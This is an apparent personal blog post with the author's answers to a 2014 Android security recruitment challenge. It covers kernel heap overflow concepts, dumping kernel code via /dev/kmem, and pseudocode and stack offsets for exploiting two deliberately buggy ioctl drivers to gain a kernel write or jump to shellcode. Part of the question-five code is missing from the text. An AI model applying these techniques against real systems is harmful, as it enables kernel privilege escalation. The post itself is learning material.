首页 > 网络安全 > 伯乐上门 限时挑战 360全球招募 安全技术牛人

伯乐上门 限时挑战 360全球招募 安全技术牛人

2014年5月18日 发表评论 阅读评论 9,557 次浏览

伯乐上门 限时挑战 360全球招募 安全技术牛人
http://challenge.onebox.so.com/DeveloperZhaopin/ranklist?tag=wireless#nav-wrap
当时闲得无聊,在一个qq群里无意看到这个比赛,大致看了一下各个栏目的题目,由于之前做内核,查宕机bug,汇编看得多了,所以对底层稍微熟悉一点,发了几小时,参加了一下《安卓漏洞分析》,结果弄了个第三名。其实,题目并不难,估计深信服至少80%以上的研发同学都能搭得比我好,感谢360组织的活动,感谢深信服对我的培养,感谢qq群的信息共享,废话少说,先上图(是今天截的图,已经结束了)。

另外,这里把题目以及我做的答案(仅仅仅仅仅仅供参考)贴一下,估计360应该也不会介意我这样做吧?毕竟可以给有需要的同学学习一下题目,从而也好培养更多的安全兴趣爱好人士。

问题一(10分):
请试描述 CVE-2010-0232 和 CVE-2013-3136 漏洞的相似之处

http://cve.circl.lu/cve/CVE-2010-0232

The kernel in Microsoft Windows NT 3.1 through Windows 7, including Windows 2000 SP4, Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista Gold, SP1, and SP2, and Windows Server 2008 Gold and SP2, when access to 16-bit applications is enabled on a 32-bit x86 platform, does not properly validate certain BIOS calls, which allows local users to gain privileges by crafting a VDM_TIB data structure in the Thread Environment Block (TEB), and then calling the NtVdmControl function to start the Windows Virtual DOS Machine (aka NTVDM) subsystem, leading to improperly handled exceptions involving the #GP trap handler (nt!KiTrap0D), aka “Windows Kernel Exception Handler Vulnerability.”

http://cve.circl.lu/cve/CVE-2013-3136

The kernel in Microsoft Windows XP SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, Windows 7 SP1, and Windows 8 on 32-bit platforms does not properly handle unspecified page-fault system calls, which allows local users to obtain sensitive information from kernel memory via a crafted application, aka “Kernel Information Disclosure Vulnerability.”

1,一个为General Protection Fault,一个为Page Fault,这两个缺陷均可能是因为内存访问出现异常导致。
2,这两个均是由于内核对内存缺陷的处理不当导致的漏洞。当CPU在处理这样的缺陷时,运行级别会提升到权限更高的ring0,如果此时不做全面且严格的检查和校验,就导致恶意代码有机可乘,而CVE-2010-0232 和CVE-2013-3136 漏洞均属于这种恶意利用。
3,内存作为计算运算的核心资源之一,在任何时刻都要做好特别的保护和检查,CVE-2010-0232 和CVE-2013-3136 漏洞均属于对内存数据的恶意构造达到“破坏”系统的目的。

问题二(20分):
内核heap overflow是怎么样的?关键点是哪些? 

1,堆溢出是缓冲区溢出发生在堆数据区的一种形式。
2,堆区内存一般是由程序在运行时动态申请/释放的,比如利用malloc/free、new/delete、kmalloc/kfree等接口。
3,堆内存的管理却并不是应用程序本身进行,比如应用层由glibc的ptmalloc(原dlmalloc变形:http://lenky.info/archives/2011/11/164)管理,内核层由内核的slab/slob/slub子系统管理。
4,不管是ptmalloc还是slab/slob/slub,要管理堆内存,就有对应的meta元数据。如果这些元数据交错在用户程序申请堆内存的同一个连续地址之间,那么一个恶意的用户代码可以前溢或后溢来覆盖修改这些meta数据,达到“破坏”系统正常运行的目的。
关键点:
首先,要深入理解内核堆分配器:
1,理清分配器分配内存的行为,从而判断要如何做才能预测和控制分配器对堆内存的分配和释放。比如是否由旗标标记内存是否空闲?前后两块空闲内存是否会合并?空闲内存是否会加入到空闲内存列表?是否可触发分配指定大小内存?对已释放内存再次释放是如何处理的?任意指针释放是否会导致错乱?等等。
2,理清堆内存分配布局:分配的堆内存前后是否会包含由metadata元数据?比如记录当前分配内存块的大小?是否已分配旗标和索引?不同类型的堆内存是否会存放于同一块地址空间区域?不同类型的堆内存CACHE对应是否一致?等等。
3,系统是否有相应的措施保护堆溢出?如何逃避这些保护措施?

其次,利用对内核堆分配器的理解,构造相应的数据和代码(比如copy_to_user()/copy_from_user()/shm_mmap()),部分或完全覆盖堆分配器的某些meta元数据或误导堆分配器的某些行为,引导系统运行到植入的“恶意”代码(比如执行到指定的指针函数)处,实现“破坏”系统正常运行的目的。
问题三(20分):
第三题: 给定一个root过的Android手机,有什么方法可以把sys_recvmsg反汇编出来?参考下面的代码,假设已经反汇编出来了,描述出函数Sys_recvmsg的局部变量在栈的什么位置?

sys_recvmsg
                MOV     R12, SP
                STMFD   SP!, {R4-R6,R11,R12,LR,PC}
                SUB     R11, R12, #4
                SUB     SP, SP, #0x34
                MOV     R6, R1
                MOV     R5, R2
                SUB     R1, R11, #0x3C
                SUB     R2, R11, #0x40
                BL      sockfd_lookup_light
                SUBS    R4, R0, #0
                BEQ     loc_C057A728
                MOV     R3, R5
                MOV     R1, R6
                SUB     R2, R11, #0x38
                MOV     R12, #0
                STR     R12, [SP]
                BL      __sys_recvmsg
                LDR     R3, [R11,#-0x40]
                CMP     R3, #0
                LDR     R3, [R4,#0x10]
                STR     R0, [R11,#-0x3C]
                BNE     loc_C057A720
loc_C057A718                            ; CODE XREF: ROM:C057A72Cj
                SUB     SP, R11, #0x18
                LDMFD   SP, {R4-R6,R11,SP,PC}
loc_C057A720                            ; CODE XREF: ROM:C057A714j
                MOV     R0, R3
                BL      fput
loc_C057A728                            ; CODE XREF: ROM:C057A6E8j
                LDR     R0, [R11,#-0x3C]
                B       loc_C057A718

SYSCALL_DEFINE3(recvmsg, int, fd, struct msghdr __user *, msg, unsigned int, flags)
{
         int fput_needed, err;
         struct msghdr msg_sys;
         struct socket *sock = sockfd_lookup_light(fd, &err, &fput_needed);

         if (!sock)
                   goto out;

         err = __sys_recvmsg(sock, msg, &msg_sys, flags, 0);

         fput_light(sock->file, fput_needed);
out:
         return err;
}

解答:
1,找到sys_recvmsg函数位置:
# cat /proc/kallsyms | grep sys_recvmsg
c045f2f0 W compat_sys_recvmsg
c07d8dc0 t ___sys_recvmsg
c07d9180 T __sys_recvmsg
c07d9200 T sys_recvmsg

2,挖出对应的机器码:
# printf %d 0xc07d9200
3229454848
# dd if=/dev/kmem of=sys_recvmsg.code skip=3229454848 count=1024 ibs=1 obs=1

3,反编译机器码获得汇编:
objdump -D -b binary -m arm sys_recvmsg.code > sys_recvmsg.S

可以根据两条规则来快速定位局部变量位置:
1,前4个参数通过r0-r3传递
2,函数返回值通过r0传递

通过sockfd_lookup_light函数调用前的寄存器设置可以看出:
1,fd本就是recvmsg的传入参数,所以还是在r0内
2,err在SP – 0x4 – 0x3C的位置,SP为进入recvmsg函数前的初始值:
MOV     R12, SP
SUB     R11, R12, #4
SUB     R1, R11, #0x3C

3,fput_needed在SP – 0x4 – 0x40的位置,SP为进入recvmsg函数前的初始值:
MOV     R12, SP
SUB     R11, R12, #4
SUB     R2, R11, #0x40

通过__sys_recvmsg函数调用前的寄存器设置可以看出:
1,变量sock为sockfd_lookup_light函数的返回值,在R0内,此时作为__sys_recvmsg函数的第一个参数,还是在r0,所以未有改变。
2,msg作为recvmsg的传入参数,在R1内,此前被转移到R6,所以这里再次转回:
MOV     R6, R1
MOV     R1, R6
3,msg_sys在SP – 0x4 – 0x38的位置,SP为进入recvmsg函数前的初始值:
MOV     R12, SP
SUB     R11, R12, #4
SUB     R2, R11, #0x38

通过fput函数调用前的寄存器设置可以看出:
1,sock->file的值还是通过寄存器传递的:
BL      sockfd_lookup_light
SUBS    R4, R0, #0
LDR     R3, [R4,#0x10]
MOV     R0, R3

因此,Sys_recvmsg的局部变量在栈内位置的最终结论:
… -> 高地址 R12
msg_sys SP – 0x4 – 0x38
err SP – 0x4 – 0x3C
fput_needed SP – 0x4 – 0x40
… -> 低地址

而sock在寄存器内。
问题四(20分):

在下面一个Linux字符设备驱动程序里,假设有一个有漏洞的ioctl(),请给写出伪代码将地址0xdeadbeef改写为0xcafe0000

struct array_s {
uint32_t id;
uint32_t dummy1[4];
uint32_t addr;
uint32_t dummy2[8];
} Array[100];

static long
buggy_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
struct x_s {
uint32_t id;
int idx;
unsigned long uptr;
size_t length;
} x;

copy_from_user(&x, arg, sizeof(x));

if ( x.id != Array[x.idx].id )
return –EINVAL;

copy_from_user(Array[x.idx].addr, x.uptr, x.length);

return 0;
}

您可以通过/dev/buggy 访问驱动程序。Array[100]的位置是未知的,但为4字节对齐,范围是[为0xc0000000〜0xd0000000]。你可以有自己的假设,但请解释清楚。

解答:
1,Array[100]的位置是未知,假定首地址为x;
2,那么目标地址0xdeadbeef离Array[100]首地址的距离为:
unsigned long dist = destAddr – x;
3,计算在Array[100]里的下标位置:
unsigned long idx = dist/sizeof(struct array_s);
4,计算偏移量:
unsigned long offset = dist – idx * sizeof(struct array_s);
5,在应用层构造变量:
unsigned long destValue = 0xcafe0000;
struct x_s x;
x.idx = idx;
x.id = y; -> 该值待定
x.uptr = &destValue;
x.length = sizeof(unsigned long);
6,暴力猜测上面的x和y值。
a,值y可以通过buggy_ioctl返回值判断是否猜测正确。最大猜测2^32次。
b,x值需猜测0x10000000/sizeof(struct array_s)次。
c,两者相乘为整个完全猜测次数,⊙﹏⊙b汗
7,只暴力猜测y值,而设置x.uptr指向连续的0xcafe0000值,并x.length设置为0x0x10000000,把后面的内存进行全无差别覆盖,囧。

问题五(30分):

下面是一个在32位ARM Linux系统中注册在character device (/dev/full) 下的一个有漏洞的ioctl函数。

static long
ioctl_full(struct file *filp, unsigned int command, unsigned long arg)
{
uint16_t a[10], b[10];
uint16_t *ptr;
int i;

if ( copy_from_user(&a[0], (void __user *)arg, sizeof(a)) )
return -EINVAL;

ptr = &a[2];
for ( i=0 ; i:
c0335a54: e52de004 push {lr} ; (str lr, [sp, #-4]!)
c0335a58: e24dd02c sub sp, sp, #44 ; 0x2c
c0335a5c: e1a0100d mov r1, sp
c0335a60: e3c13d7f bic r3, r1, #8128 ; 0x1fc0
c0335a64: e3c3303f bic r3, r3, #63 ; 0x3f
c0335a68: e1a0000d mov r0, sp
c0335a6c: e5933008 ldr r3, [r3, #8]
c0335a70: e2921014 adds r1, r2, #20
c0335a74: 30d11003 sbcscc r1, r1, r3
c0335a78: 33a03000 movcc r3, #0
c0335a7c: e3530000 cmp r3, #0
c0335a80: 1a000009 bne c0335aac
c0335a84: e1a01002 mov r1, r2
c0335a88: e3a02014 mov r2, #20
c0335a8c: ebfd6179 bl c028e078 <__copy_from_user>
c0335a90: e3500000 cmp r0, #0
c0335a94: 1a000011 bne c0335ae0
c0335a98: e1dd10b2 ldrh r1, [sp, #2]
c0335a9c: e28d3002 add r3, sp, #2
c0335aa0: e28d2012 add r2, sp, #18
c0335aa4: e0831081 add r1, r3, r1, lsl #1
c0335aa8: ea000004 b c0335ac0
c0335aac: e3a01014 mov r1, #20
c0335ab0: ebfd66c2 bl c028f5c0 <__memzero>
c0335ab4: ea000009 b c0335ae0
c0335ab8: e1f300b2 ldrh r0, [r3, #2]!
c0335abc: e1e200b2 strh r0, [r2, #2]!
c0335ac0: e1530001 cmp r3, r1
c0335ac4: 1afffffb bne c0335ab8
c0335ac8: e59f001c ldr r0, [pc, #28] ; c0335aec
c0335acc: e1dd12b6 ldrh r1, [sp, #38] ; 0x26
c0335ad0: e08f0000 add r0, pc, r0
c0335ad4: eb160c0b bl c08b8b08 c0335ad8: e3a00000 mov r0, #0
c0335adc: ea000000 b c0335ae4
c0335ae0: e3e00015 mvn r0, #21
c0335ae4: e28dd02c add sp, sp, #44 ; 0x2c
c0335ae8: e8bd8000 pop {pc}
c0335aec: 007a06fb .word 0x007a06fb

使用下面的模板,并使用ioctl系统调用准确跳到shellcode。并且清晰的描述你的做法。

void shellcode(void)
{
while(1);
}

main()
{
int fd = open(“/dev/full”, O_RDONLY);
uint16_t a[10];

memset(a, 0, sizeof(a));
a[1] = 11;
*(int *)&a[4] = (int)&shellcode;

ioctl(fd, 0, &a);

close(fd);
return 0;
}

尝试删除shellcode函数中的while(1),补充相关代码,使其正常返回用户态。

第一问:见上面红色部分
计算堆栈占用情况:
… -> 高地址
-4 lr -> 关键,需要让程序里的for循环拷贝恰好把它覆盖成对应值
-6 b[9]
-8 ..
-24 b[0]
-26 a[9]
-28 ..
-44 a[0]
… -> 低地址
然后就是根据“漏洞逻辑”来凑“恰好情况”,使得返回地址lr指向shellcode:
lr(4字节) = b[10]b[11]
b[0] = a[2]

b[10] = a[12]
b[11] = a[13]

a[12] = b[2]
a[13] = b[3]

b[2] = a[4]
b[3] = a[5]
从而当ioctl系统调用返回时准确跳到shellcode函数去执行,这属于精细活,仔细分析后凑好相关数据即可。

第二问:根据栈回朔上一个调用帧,找到后进行寄存器恢复调整后返回。通过内核源代码可以辅助准确回朔寻找到上一个调用帧:1,根据内核源代码找到上一个调用函数;2,通过cat /proc/kallsyms找到该函数的地址值;3,以该地址值作为标记回朔。其他信息:1,看它的局部变量有多少,需要占用多少栈空间;2,上一个调用函数的地址是落在内核空间的话,地址会大于3G(0xc0000000)以上。
需要操作寄存器,写gcc嵌入汇编,巴拉巴拉,,,

转载请保留地址:http://www.lenky.info/archives/2014/05/2400http://lenky.info/?p=2400


备注:如无特殊说明,文章内容均出自Lenky个人的真实理解而并非存心妄自揣测来故意愚人耳目。由于个人水平有限,虽力求内容正确无误,但仍然难免出错,请勿见怪,如果可以则请留言告之,并欢迎来讨论。另外值得说明的是,Lenky的部分文章以及部分内容参考借鉴了网络上各位网友的热心分享,特别是一些带有完全参考的文章,其后附带的链接内容也许更直接、更丰富,而我只是做了一下归纳&转述,在此也一并表示感谢。关于本站的所有技术文章,欢迎转载,但请遵从CC创作共享协议,而一些私人性质较强的心情随笔,建议不要转载。

法律:根据最新颁布的《信息网络传播权保护条例》,如果您认为本文章的任何内容侵犯了您的权利,请以Email或书面等方式告知,本站将及时删除相关内容或链接。

分类: 网络安全 标签: , ,
  1. 2014年6月9日09:01 | #1

    恭喜凯哥,V587

  1. 本文目前尚无任何 trackbacks 和 pingbacks.